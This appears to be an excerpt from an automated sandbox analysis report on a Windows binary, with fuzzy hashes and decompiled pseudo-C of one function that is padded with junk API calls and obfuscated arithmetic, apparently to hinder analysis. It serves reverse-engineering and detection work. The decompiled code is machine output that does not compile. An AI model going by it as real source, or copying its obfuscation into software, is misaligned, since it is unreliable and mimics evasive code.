Opcode Fuzzy Hash: 15ab2c35bc1835618fcf29b720a6eab32f0ad87a6f8140d0d6bcf6deee52c6fc
Instruction Fuzzy Hash: A9425AA3D1CA074AF611AB30991A3F922956F65751F380636D50ED7293FF3EB086821F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F56BC Relevance: 56.7, APIs: 31, Strings: 1, Instructions: 656
windowCOMMONCrypto

Download Yara Rule

C-Code - Quality: 50%

			E00007FF67FF6ED0F56BC(void* __eflags, signed long long __rbx, long long __rcx, void* __rdx, struct HWND__* __rdi, long long __rsi, long long __rbp, struct HWND__* __r12, struct HWND__* __r13, struct HWND__* __r14, WCHAR* __r15, intOrPtr _a8, long long _a16, long long _a24, long long _a32) {
				signed int _t67;
				signed int _t77;
				signed int _t82;
				signed int _t88;
				signed int _t94;
				signed int _t100;
				signed int _t107;
				signed int _t112;
				signed int _t117;
				signed int _t122;
				signed int _t127;
				signed int _t132;
				signed int _t138;
				signed int _t148;
				signed int _t155;
				signed int _t162;
				signed int _t174;
				signed int _t184;
				signed int _t189;
				signed int _t221;
				signed int _t226;
				signed int _t244;
				signed int _t250;
				signed int _t256;
				signed int _t261;
				signed int _t266;
				signed int _t285;
				signed int _t301;
				signed int _t315;
				signed int _t325;
				signed int _t331;
				signed int _t358;
				signed int _t363;
				signed int _t368;
				signed int _t385;
				signed int _t400;
				signed int _t424;
				signed int _t505;
				signed int _t513;
				void* _t515;
				void* _t518;
				void* _t519;
				void* _t520;
				void* _t522;
				void* _t523;
				void* _t525;
				void* _t526;
				void* _t527;
				void* _t528;
				void* _t530;
				void* _t531;
				void* _t532;
				void* _t535;
				void* _t536;
				void* _t539;
				void* _t540;
				void* _t541;
				void* _t542;
				void* _t543;
				void* _t545;
				void* _t546;
				void* _t549;
				void* _t550;
				void* _t552;
				void* _t555;
				void* _t558;
				void* _t561;
				void* _t563;
				void* _t564;
				void* _t565;
				void* _t566;
				void* _t567;
				void* _t568;
				void* _t569;
				void* _t570;
				void* _t573;
				void* _t575;
				void* _t578;
				void* _t579;
				signed long long _t580;
				void* _t592;
				void* _t599;
				void* _t606;
				void* _t609;
				void* _t611;
				void* _t613;

				_t593 = __rsi;
				_t580 = __rbx;
				_t515 = __eflags;
				_t578 = _t599;
				 *((long long*)(_t578 + 0x10)) = __rbx;
				 *((long long*)(_t578 + 0x18)) = __rbp;
				 *((long long*)(_t578 + 0x20)) = __rsi;
				 *((long long*)(_t578 + 8)) = __rcx;
				asm("movaps [eax-0x38], xmm6");
				 *0xed236f60 = 1;
				 *0xed236f60 = 1;
				E00007FF67FF6ED184484(_t578);
				r14d = 0x8000007f;
				if (_t515 >= 0) goto 0xed0f5717;
				r15d = 0;
				goto 0xed0f574c;
				if (0x2b - 0x2e >= 0) goto 0xed0f5751;
				GetModuleHandleW(__r15);
				 *0xed236f60 = r15d;
				 *0xed236f60 = 0x0000002b + sil & 0x000000ff;
				_t67 = E00007FF67FF6ED184484(_t578);
				if (0x2b - 0x2e >= 0) goto 0xed0f574c;
				if (((_t67 & r14d) - 0x00000001 | 0xffffff80) + 1 == 0x37) goto 0xed0f571c;
				GetMessageExtraInfo();
				AnyPopup();
				GetWindowTextLengthW(__r14);
				 *0xed236f60 = 0x41;
				_t518 = 0x41 + sil - 0x55;
				if (_t518 < 0) goto 0xed0f575f;
				IsZoomed(__r13);
				_t77 = E00007FF67FF6ED184484(_t578);
				if (_t518 >= 0) goto 0xed0f5790;
				_t519 = ((_t77 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x66;
				if (_t519 >= 0) goto 0xed0f57bd;
				 *0xed236f60 = r15d;
				_t82 = E00007FF67FF6ED184484(_t578);
				if (_t519 >= 0) goto 0xed0f57ac;
				_t520 = ((_t82 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x66;
				 *0xed236f60 = r15d & 0xffffff00 | _t520 < 0x00000000;
				goto 0xed0f57ca;
				AnyPopup();
				 *0xed236f60 = r15d;
				_t88 = E00007FF67FF6ED184484(_t578);
				if (_t520 >= 0) goto 0xed0f57da;
				if (((_t88 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x3c <= 0) goto 0xed0f5811;
				 *0xed236f60 = 0x19;
				_t522 = 0x19 + sil - 0x2b;
				if (_t522 < 0) goto 0xed0f57e1;
				_t94 = E00007FF67FF6ED184484(_t578);
				if (_t522 >= 0) goto 0xed0f5802;
				_t523 = ((_t94 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x3c;
				 *0xed236f60 = r15d & 0xffffff00 | _t523 > 0x00000000;
				 *0xed236f60 = 0x5a;
				_t100 = E00007FF67FF6ED184484(_t578);
				if (_t523 >= 0) goto 0xed0f582f;
				if (((_t100 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x65 >= 0) goto 0xed0f5839;
				_t525 = 0x5a + sil - 0x5b;
				if (_t525 < 0) goto 0xed0f5813;
				 *0xed236f60 = 1;
				 *0xed1ee398();
				GetTickCount();
				 *0xed236f60 = 1;
				_t107 = E00007FF67FF6ED184484(_t578);
				_t424 = r14d;
				if (_t525 >= 0) goto 0xed0f5863;
				_t526 = ((_t107 & _t424) - 0x00000001 | 0xffffff80) + 1 - 0x70;
				if (_t526 > 0) goto 0xed0f5886;
				_t112 = E00007FF67FF6ED184484(_t578);
				if (_t526 >= 0) goto 0xed0f5877;
				_t527 = ((_t112 & _t424) - 0x00000001 | 0xffffff80) + 1 - 0x70;
				 *0xed236f60 = r15d & 0xffffff00 | _t527 <= 0x00000000;
				_t117 = E00007FF67FF6ED184484(_t578);
				if (_t527 >= 0) goto 0xed0f5895;
				r14d = 0x31;
				r15d = __r14 - 0x15;
				_t528 = ((_t117 & _t424) - 0x00000001 | 0xffffff80) + 1 - 0x33;
				if (_t528 == 0) goto 0xed0f58c0;
				_t122 = E00007FF67FF6ED184484(_t578);
				if (_t528 >= 0) goto 0xed0f58b3;
				goto 0xed0f59ed;
				_t127 = E00007FF67FF6ED184484(_t578);
				if (((_t122 & _t424) - 0x00000001 | 0xffffff80) + 1 - 0x33 >= 0) goto 0xed0f58cf;
				_t530 = ((_t127 & _t424) - 0x00000001 | 0xffffff80) + 1 - 0x10;
				if (_t530 <= 0) goto 0xed0f59f3;
				_t132 = E00007FF67FF6ED184484(_t578);
				if (_t530 >= 0) goto 0xed0f58e7;
				_t531 = ((_t132 & _t424) - 0x00000001 | 0xffffff80) + 1 - r14d;
				if (_t531 == 0) goto 0xed0f5916;
				GetLastActivePopup(__r12);
				_t138 = E00007FF67FF6ED184484(_t578);
				if (_t531 >= 0) goto 0xed0f5903;
				_t532 = ((_t138 & _t424) - 0x00000001 | 0xffffff80) + 1 - r14d;
				 *0xed236f60 = 0 | _t532 != 0x00000000;
				goto 0xed0f59d6;
				E00007FF67FF6ED184484(_t578);
				if (_t532 >= 0) goto 0xed0f5925;
				asm("movsd xmm6, [0x1141e3]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t532 > 0) goto 0xed0f59b0;
				_t148 = E00007FF67FF6ED184484(_t578);
				if (_t532 >= 0) goto 0xed0f594a;
				if (((_t148 & _t424) - 0x00000001 | 0xffffff80) + 1 - 0x20 < 0) goto 0xed0f598d;
				goto 0xed0f596a;
				if (0x27 - 0x33 >= 0) goto 0xed0f5981;
				GetTickCount();
				 *0xed236f60 = 0x00000027 + sil & 0x000000ff;
				_t155 = E00007FF67FF6ED184484(_t578);
				if (0x27 - 0x33 >= 0) goto 0xed0f597c;
				_t535 = ((_t155 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - r15d;
				if (_t535 >= 0) goto 0xed0f5953;
				E00007FF67FF6ED184484(_t578);
				goto 0xed0f5998;
				GetCommandLineW();
				_t162 = E00007FF67FF6ED184484(_t578);
				if (_t535 >= 0) goto 0xed0f59a2;
				_t536 = ((_t162 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x20;
				 *0xed236f60 = 0 | _t536 >= 0x00000000;
				E00007FF67FF6ED184484(_t578);
				if (_t536 >= 0) goto 0xed0f59bf;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t536 > 0x00000000;
				_t174 = E00007FF67FF6ED184484(_t578);
				if (_t536 >= 0) goto 0xed0f59e5;
				 *0xed236f60 = 0 | ((_t174 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 - 0x00000010 > 0x00000000; // executed
				GetForegroundWindow(); // executed
				GetTopWindow(__rdi);
				_t505 =  !=  ? r9d : 0;
				_t513 = r12d - _t505 - 1;
				GetCommandLineW();
				 *0xed236f60 = 0x5d;
				_t539 = 0x5d + dil - 0x6a;
				if (_t539 < 0) goto 0xed0f5a1d;
				GetTopWindow(??);
				_t184 = E00007FF67FF6ED184484(_t578);
				if (_t539 >= 0) goto 0xed0f5a46;
				_t540 = ((_t184 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x79;
				if (_t540 >= 0) goto 0xed0f5a6b;
				_t189 = E00007FF67FF6ED184484(_t578);
				if (_t540 >= 0) goto 0xed0f5a5b;
				_t541 = ((_t189 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x79;
				 *0xed236f60 = 0 | _t541 < 0x00000000;
				goto 0xed0f5a7b;
				GetForegroundWindow();
				 *0xed236f60 = 0;
				E00007FF67FF6ED184484(_t578);
				if (_t541 >= 0) goto 0xed0f5a8b;
				asm("movsd xmm6, [0x11416d]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t541 >= 0) goto 0xed0f5ab4;
				 *0xed236f60 = 0x54;
				_t542 = 0x54 + dil - 0x61;
				if (_t542 < 0) goto 0xed0f5aa3;
				E00007FF67FF6ED184484(_t578);
				if (_t542 >= 0) goto 0xed0f5ac4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t542 >= 0x00000000;
				E00007FF67FF6ED184484(_t578);
				if (_t542 >= 0) goto 0xed0f5aeb;
				asm("movsd xmm6, [0x114055]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t542 <= 0) goto 0xed0f5b28;
				E00007FF67FF6ED184484(_t578);
				if (_t542 >= 0) goto 0xed0f5b11;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t542 > 0x00000000;
				 *0xed236f60 = 1;
				GetMessageExtraInfo();
				_t221 = E00007FF67FF6ED184484(_t578);
				if (_t542 >= 0) goto 0xed0f5b44;
				_t543 = ((_t221 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x2b;
				if (_t543 > 0) goto 0xed0f5b67;
				_t226 = E00007FF67FF6ED184484(_t578);
				if (_t543 >= 0) goto 0xed0f5b59;
				 *0xed236f60 = 0 | ((_t226 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 - 0x0000002b <= 0x00000000;
				IsZoomed(??);
				 *0xed1ee398();
				GetMessageExtraInfo();
				GetCurrentProcess();
				GetModuleHandleW(??);
				 *0xed236f60 = 0x44;
				_t545 = 0x44 + dil - 0x53;
				if (_t545 < 0) goto 0xed0f5b83;
				GetTickCount();
				AnyPopup();
				E00007FF67FF6ED184484(_t578);
				if (_t545 >= 0) goto 0xed0f5bbd;
				asm("movsd xmm6, [0x113f23]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t545 < 0) goto 0xed0f5cb4;
				dil = 0x35;
				_t244 = E00007FF67FF6ED184484(_t578);
				if (_t545 >= 0) goto 0xed0f5bea;
				_t546 = ((_t244 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x56;
				if (_t546 == 0) goto 0xed0f5c25;
				 *0xed236f60 = 0x5c;
				_t250 = E00007FF67FF6ED184484(_t578);
				if (_t546 >= 0) goto 0xed0f5c0f;
				if (((_t250 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 != 0x6a) goto 0xed0f5c19;
				if (0x5d - 0x64 < 0) goto 0xed0f5bf1;
				E00007FF67FF6ED184484(_t578);
				goto 0xed0f5c5d;
				_t256 = E00007FF67FF6ED184484(_t578);
				if (0x5d - 0x64 >= 0) goto 0xed0f5c35;
				_t549 = ((_t256 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x12;
				if (_t549 != 0) goto 0xed0f5c58;
				_t261 = E00007FF67FF6ED184484(_t578);
				if (_t549 >= 0) goto 0xed0f5c4a;
				_t550 = ((_t261 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x12;
				 *0xed236f60 = 0 | _t550 == 0x00000000;
				_t266 = E00007FF67FF6ED184484(_t578);
				if (_t550 >= 0) goto 0xed0f5c68;
				dil = dil + 1;
				 *0xed236f60 = 0 | ((_t266 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 != 0x00000056;
				 *0xed236f60 = dil & 0xffffffff;
				_t552 = dil - 0x38;
				if (_t552 < 0) goto 0xed0f5bda;
				E00007FF67FF6ED184484(_t578);
				if (_t552 >= 0) goto 0xed0f5c9d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t552 >= 0x00000000;
				_t36 = _t593 + 1; // 0x1
				r8d = _t36;
				E00007FF67FF6ED0FCE80(_t513, __rbx, _a8, __rsi);
				r12d = 1;
				if (r12d <= 0) goto 0xed0f5d01;
				E00007FF67FF6ED0FDD00(_t580, _a8,  *((intOrPtr*)(__rdx + _t580 * 8)));
				r8d =  ~_t505;
				E00007FF67FF6ED0FE000(r12d, _t578, _t580, _a8, _t593);
				if (_t580 + r8d - r8d < 0) goto 0xed0f5cd9;
				IsIconic(??);
				r13d = 0x8000007f;
				dil = 0x24;
				E00007FF67FF6ED184484(_t578);
				goto 0xed0f5d42;
				_t555 = dil - 0x2c;
				if (_t555 >= 0) goto 0xed0f5d54;
				dil = dil + r12b;
				 *0xed236f60 = 0;
				 *0xed236f60 = dil & 0xffffffff;
				_t285 = E00007FF67FF6ED184484(_t578);
				if (_t555 >= 0) goto 0xed0f5d4f;
				if (((_t285 & r13d) - r12d | 0xffffff80) + r12d - 0x32 <= 0) goto 0xed0f5d20;
				 *0xed236f60 = 0x18;
				if (0x18 + r12b - 0x21 < 0) goto 0xed0f5d11;
				GetWindowTextLengthW(??);
				GetTopWindow(??);
				GetCurrentProcessId();
				 *0xed236f60 = 0x63;
				_t558 = 0x63 + r12b - 0x65;
				if (_t558 < 0) goto 0xed0f5d7d;
				dil = 0x60;
				E00007FF67FF6ED184484(_t578);
				if (_t558 >= 0) goto 0xed0f5da3;
				asm("movsd xmm6, [0x113d95]");
				goto 0xed0f5dfe;
				if (dil - 0x73 >= 0) goto 0xed0f5e0e;
				goto 0xed0f5dc8;
				if (0x61 - 0x6c >= 0) goto 0xed0f5ddf;
				 *0xed236f60 = 0x00000061 + r12b & 0x000000ff;
				_t301 = E00007FF67FF6ED184484(_t578);
				if (0x61 - 0x6c >= 0) goto 0xed0f5dda;
				_t561 = ((_t301 & r13d) - r12d | 0xffffff80) + r12d - 5;
				if (_t561 <= 0) goto 0xed0f5db7;
				dil = dil + r12b;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t578);
				if (_t561 >= 0) goto 0xed0f5dfe;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t561 != 0) goto 0xed0f5dad;
				if (_t561 != 0) goto 0xed0f5dad;
				r14b = r14b + r12b;
				 *0xed236f60 = r14b & 0xffffffff;
				if (r14b - 0x3f < 0) goto 0xed0f5e0e;
				 *0xed236f60 = 0x1d;
				goto 0xed0f5e48;
				_t563 = r15b - 0x2e;
				if (_t563 >= 0) goto 0xed0f5e5f;
				GetTopWindow(??);
				r15b = r15b + r12b;
				 *0xed236f60 = r15b & 0xffffffff;
				_t315 = E00007FF67FF6ED184484(_t578);
				if (_t563 >= 0) goto 0xed0f5e5a;
				_t564 = ((_t315 & r13d) - r12d | 0xffffff80) + r12d - 0x35;
				if (_t564 != 0) goto 0xed0f5e2d;
				asm("movsd xmm6, [0x113b91]");
				E00007FF67FF6ED184484(_t578);
				if (_t564 >= 0) goto 0xed0f5e7b;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t564 >= 0) goto 0xed0f5ec6;
				_t325 = E00007FF67FF6ED184484(_t578);
				if (_t564 >= 0) goto 0xed0f5e9b;
				_t565 = ((_t325 & r13d) - r12d | 0xffffff80) + r12d - 8;
				if (_t565 != 0) goto 0xed0f5ec6;
				 *0xed1ee398();
				_t331 = E00007FF67FF6ED184484(_t578);
				if (_t565 >= 0) goto 0xed0f5eb8;
				_t566 = ((_t331 & r13d) - r12d | 0xffffff80) + r12d - 8;
				 *0xed236f60 = 0 | _t566 == 0x00000000;
				E00007FF67FF6ED184484(_t578);
				if (_t566 >= 0) goto 0xed0f5ed8;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t566 >= 0x00000000;
				 *0xed236f60 = 2;
				_t567 = 2 + r12b - 9;
				if (_t567 < 0) goto 0xed0f5e69;
				 *0xed236f60 = r12d;
				GetCommandLineW();
				asm("movaps xmm6, [esp+0x20]");
				_pop(_t613);
				_pop(_t611);
				_pop(_t609);
				_pop(_t606);
				_pop(_t592);
				goto E00007FF67FF6ED0FE2B0;
				asm("int3");
				asm("int3");
				_t579 = _t599 - 0x30 + 0x30;
				 *((long long*)(_t579 + 8)) = _a16;
				 *((long long*)(_t579 + 0x10)) = _a24;
				 *((long long*)(_t579 + 0x18)) = _a32;
				asm("movaps [eax-0x38], xmm6");
				r14d = r8d;
				E00007FF67FF6ED184484(_t579);
				r13d = 0x8000007f;
				r15d = 1;
				r12d = 0xffffff80;
				if (_t567 >= 0) goto 0xed0f5f95;
				asm("movsd xmm6, [0x113b2b]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t567 < 0) goto 0xed0f5fdd;
				 *0xed1ee3f0(_t613, _t611, _t609, _t606, _t592);
				E00007FF67FF6ED184484(_t579);
				if (_t567 >= 0) goto 0xed0f5fc4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t567 >= 0x00000000;
				goto 0xed0f601c;
				_t358 = E00007FF67FF6ED184484(_t579);
				if (_t567 >= 0) goto 0xed0f5ff0;
				_t568 = ((_t358 & r13d) - r15d | r12d) + r15d - 0x57;
				if (_t568 != 0) goto 0xed0f5ffb;
				E00007FF67FF6ED1EE020();
				_t363 = E00007FF67FF6ED184484(_t579);
				if (_t568 >= 0) goto 0xed0f600e;
				_t569 = ((_t363 & r13d) - r15d | r12d) + r15d - 0x57;
				 *0xed236f60 = 0 | _t569 == 0x00000000;
				 *0xed236f60 = r15d;
				_t368 = E00007FF67FF6ED184484(_t579);
				if (_t569 >= 0) goto 0xed0f6036;
				_t570 = ((_t368 & r13d) - r15d | r12d) + r15d - 0x29;
				if (_t570 <= 0) goto 0xed0f60c2;
				E00007FF67FF6ED184484(_t579);
				if (_t570 >= 0) goto 0xed0f6052;
				asm("movsd xmm6, [0x1139c6]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t570 < 0) goto 0xed0f606e;
				E00007FF67FF6ED1EE020();
				E00007FF67FF6ED184484(_t579);
				if (_t570 >= 0) goto 0xed0f6081;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t570 >= 0x00000000;
				 *0xed236f60 = r15d;
				_t385 = E00007FF67FF6ED184484(_t579);
				if (_t570 >= 0) goto 0xed0f60b2;
				 *0xed236f60 = 0 | ((_t385 & r13d) - r15d | r12d) + r15d - 0x00000029 > 0x00000000;
				goto 0xed0f60cc;
				 *0xed236f60 = 0;
				 *0xed236f60 = r15d;
				 *0xed1ee008();
				 *0xed236f60 = 0x26;
				if (0x26 + r15b - 0x35 < 0) goto 0xed0f60db;
				E00007FF67FF6ED1EE028();
				 *0xed236f60 = 0x2e;
				_t573 = 0x2e + r15b - 0x30;
				if (_t573 < 0) goto 0xed0f60ee;
				 *0xed1ee398();
				 *0xed236f60 = r15d;
				E00007FF67FF6ED184484(_t579);
				if (_t573 >= 0) goto 0xed0f6127;
				asm("movsd xmm6, [0x1138b1]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t573 != 0) goto 0xed0f613f;
				if (_t573 == 0) goto 0xed0f6174;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0x34;
				_t400 = E00007FF67FF6ED184484(_t579);
				if (_t573 >= 0) goto 0xed0f616a;
				if (((_t400 & r13d) - r15d | r12d) + r15d - 0x3b < 0) goto 0xed0f6174;
				_t575 = 0x34 + r15b - 0x41;
				if (_t575 < 0) goto 0xed0f6141;
				E00007FF67FF6ED184484(_t579);
				if (_t575 >= 0) goto 0xed0f6187;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t575 != 0) goto 0xed0f619c;
				if (_t575 != 0) goto 0xed0f619c;
				goto 0xed0f619e;
				 *0xed236f60 = 0;
				 *0xed1ee3c8();
				 *0xed1ee3d0();
				 *0xed1ee398();
				goto 0xed0f61d4;
				asm("sti");
				_push(0x73);
				asm("fild word [ecx+ecx*4+0x3d]");
				return _t513 | 0xb60f0014;
			}

0x7ff6ed0f56bc
0x7ff6ed0f56bc
0x7ff6ed0f56bc
0x7ff6ed0f56bc
0x7ff6ed0f56bf
0x7ff6ed0f56c3
0x7ff6ed0f56c7
0x7ff6ed0f56cb
0x7ff6ed0f56e1
0x7ff6ed0f56e5
0x7ff6ed0f56ee
0x7ff6ed0f56fc
0x7ff6ed0f5701
0x7ff6ed0f570f
0x7ff6ed0f5717
0x7ff6ed0f571a
0x7ff6ed0f571f
0x7ff6ed0f5723
0x7ff6ed0f5729
0x7ff6ed0f5736
0x7ff6ed0f573c
0x7ff6ed0f5744
0x7ff6ed0f574f
0x7ff6ed0f5751
0x7ff6ed0f5757
0x7ff6ed0f5761
0x7ff6ed0f576d
0x7ff6ed0f5773
0x7ff6ed0f5776
0x7ff6ed0f577a
0x7ff6ed0f5780
0x7ff6ed0f5788
0x7ff6ed0f5790
0x7ff6ed0f5793
0x7ff6ed0f5795
0x7ff6ed0f579c
0x7ff6ed0f57a4
0x7ff6ed0f57af
0x7ff6ed0f57b5
0x7ff6ed0f57bb
0x7ff6ed0f57bd
0x7ff6ed0f57c3
0x7ff6ed0f57ca
0x7ff6ed0f57d2
0x7ff6ed0f57dd
0x7ff6ed0f57e7
0x7ff6ed0f57ed
0x7ff6ed0f57f0
0x7ff6ed0f57f2
0x7ff6ed0f57fa
0x7ff6ed0f5805
0x7ff6ed0f580b
0x7ff6ed0f5819
0x7ff6ed0f581f
0x7ff6ed0f5827
0x7ff6ed0f5832
0x7ff6ed0f5834
0x7ff6ed0f5837
0x7ff6ed0f5839
0x7ff6ed0f583f
0x7ff6ed0f5845
0x7ff6ed0f584b
0x7ff6ed0f5851
0x7ff6ed0f5856
0x7ff6ed0f585b
0x7ff6ed0f5863
0x7ff6ed0f5866
0x7ff6ed0f5868
0x7ff6ed0f586f
0x7ff6ed0f587a
0x7ff6ed0f5880
0x7ff6ed0f5886
0x7ff6ed0f588d
0x7ff6ed0f5895
0x7ff6ed0f589b
0x7ff6ed0f589f
0x7ff6ed0f58a2
0x7ff6ed0f58a4
0x7ff6ed0f58ab
0x7ff6ed0f58bb
0x7ff6ed0f58c0
0x7ff6ed0f58c7
0x7ff6ed0f58cf
0x7ff6ed0f58d2
0x7ff6ed0f58d8
0x7ff6ed0f58df
0x7ff6ed0f58e7
0x7ff6ed0f58ea
0x7ff6ed0f58ee
0x7ff6ed0f58f4
0x7ff6ed0f58fb
0x7ff6ed0f5905
0x7ff6ed0f590b
0x7ff6ed0f5911
0x7ff6ed0f5916
0x7ff6ed0f591d
0x7ff6ed0f5925
0x7ff6ed0f592d
0x7ff6ed0f5931
0x7ff6ed0f5935
0x7ff6ed0f5939
0x7ff6ed0f593b
0x7ff6ed0f5942
0x7ff6ed0f594d
0x7ff6ed0f5951
0x7ff6ed0f5956
0x7ff6ed0f5958
0x7ff6ed0f5964
0x7ff6ed0f596a
0x7ff6ed0f5974
0x7ff6ed0f597c
0x7ff6ed0f597f
0x7ff6ed0f5981
0x7ff6ed0f598b
0x7ff6ed0f598d
0x7ff6ed0f5993
0x7ff6ed0f599a
0x7ff6ed0f59a4
0x7ff6ed0f59aa
0x7ff6ed0f59b0
0x7ff6ed0f59b7
0x7ff6ed0f59bf
0x7ff6ed0f59c5
0x7ff6ed0f59c9
0x7ff6ed0f59d0
0x7ff6ed0f59d6
0x7ff6ed0f59dd
0x7ff6ed0f59ed
0x7ff6ed0f59f3
0x7ff6ed0f59fb
0x7ff6ed0f5a09
0x7ff6ed0f5a13
0x7ff6ed0f5a15
0x7ff6ed0f5a23
0x7ff6ed0f5a29
0x7ff6ed0f5a2c
0x7ff6ed0f5a30
0x7ff6ed0f5a36
0x7ff6ed0f5a3d
0x7ff6ed0f5a46
0x7ff6ed0f5a49
0x7ff6ed0f5a4b
0x7ff6ed0f5a52
0x7ff6ed0f5a5d
0x7ff6ed0f5a63
0x7ff6ed0f5a69
0x7ff6ed0f5a6b
0x7ff6ed0f5a71
0x7ff6ed0f5a7b
0x7ff6ed0f5a82
0x7ff6ed0f5a8b
0x7ff6ed0f5a93
0x7ff6ed0f5a97
0x7ff6ed0f5a9b
0x7ff6ed0f5a9f
0x7ff6ed0f5aa9
0x7ff6ed0f5aaf
0x7ff6ed0f5ab2
0x7ff6ed0f5ab4
0x7ff6ed0f5abb
0x7ff6ed0f5ac4
0x7ff6ed0f5aca
0x7ff6ed0f5ace
0x7ff6ed0f5ad5
0x7ff6ed0f5adb
0x7ff6ed0f5ae2
0x7ff6ed0f5aeb
0x7ff6ed0f5af3
0x7ff6ed0f5af7
0x7ff6ed0f5afb
0x7ff6ed0f5aff
0x7ff6ed0f5b01
0x7ff6ed0f5b08
0x7ff6ed0f5b11
0x7ff6ed0f5b17
0x7ff6ed0f5b1b
0x7ff6ed0f5b22
0x7ff6ed0f5b28
0x7ff6ed0f5b2e
0x7ff6ed0f5b34
0x7ff6ed0f5b3b
0x7ff6ed0f5b44
0x7ff6ed0f5b47
0x7ff6ed0f5b49
0x7ff6ed0f5b50
0x7ff6ed0f5b61
0x7ff6ed0f5b69
0x7ff6ed0f5b6f
0x7ff6ed0f5b75
0x7ff6ed0f5b7b
0x7ff6ed0f5b85
0x7ff6ed0f5b91
0x7ff6ed0f5b97
0x7ff6ed0f5b9a
0x7ff6ed0f5b9c
0x7ff6ed0f5ba2
0x7ff6ed0f5ba8
0x7ff6ed0f5bb4
0x7ff6ed0f5bbd
0x7ff6ed0f5bc5
0x7ff6ed0f5bc9
0x7ff6ed0f5bcd
0x7ff6ed0f5bd1
0x7ff6ed0f5bd7
0x7ff6ed0f5bda
0x7ff6ed0f5be1
0x7ff6ed0f5bea
0x7ff6ed0f5bed
0x7ff6ed0f5bf6
0x7ff6ed0f5bfc
0x7ff6ed0f5c06
0x7ff6ed0f5c12
0x7ff6ed0f5c17
0x7ff6ed0f5c19
0x7ff6ed0f5c23
0x7ff6ed0f5c25
0x7ff6ed0f5c2c
0x7ff6ed0f5c35
0x7ff6ed0f5c38
0x7ff6ed0f5c3a
0x7ff6ed0f5c41
0x7ff6ed0f5c4c
0x7ff6ed0f5c52
0x7ff6ed0f5c58
0x7ff6ed0f5c5f
0x7ff6ed0f5c74
0x7ff6ed0f5c77
0x7ff6ed0f5c7d
0x7ff6ed0f5c83
0x7ff6ed0f5c87
0x7ff6ed0f5c8d
0x7ff6ed0f5c94
0x7ff6ed0f5c9d
0x7ff6ed0f5ca3
0x7ff6ed0f5ca7
0x7ff6ed0f5cae
0x7ff6ed0f5cb6
0x7ff6ed0f5cb6
0x7ff6ed0f5cc2
0x7ff6ed0f5ccd
0x7ff6ed0f5cd3
0x7ff6ed0f5ce1
0x7ff6ed0f5ce6
0x7ff6ed0f5cf1
0x7ff6ed0f5cff
0x7ff6ed0f5d03
0x7ff6ed0f5d0b
0x7ff6ed0f5d11
0x7ff6ed0f5d14
0x7ff6ed0f5d1e
0x7ff6ed0f5d20
0x7ff6ed0f5d24
0x7ff6ed0f5d26
0x7ff6ed0f5d29
0x7ff6ed0f5d37
0x7ff6ed0f5d3d
0x7ff6ed0f5d45
0x7ff6ed0f5d52
0x7ff6ed0f5d5a
0x7ff6ed0f5d63
0x7ff6ed0f5d67
0x7ff6ed0f5d6f
0x7ff6ed0f5d75
0x7ff6ed0f5d83
0x7ff6ed0f5d89
0x7ff6ed0f5d8c
0x7ff6ed0f5d8e
0x7ff6ed0f5d91
0x7ff6ed0f5d99
0x7ff6ed0f5da3
0x7ff6ed0f5dab
0x7ff6ed0f5db1
0x7ff6ed0f5db5
0x7ff6ed0f5dba
0x7ff6ed0f5dc2
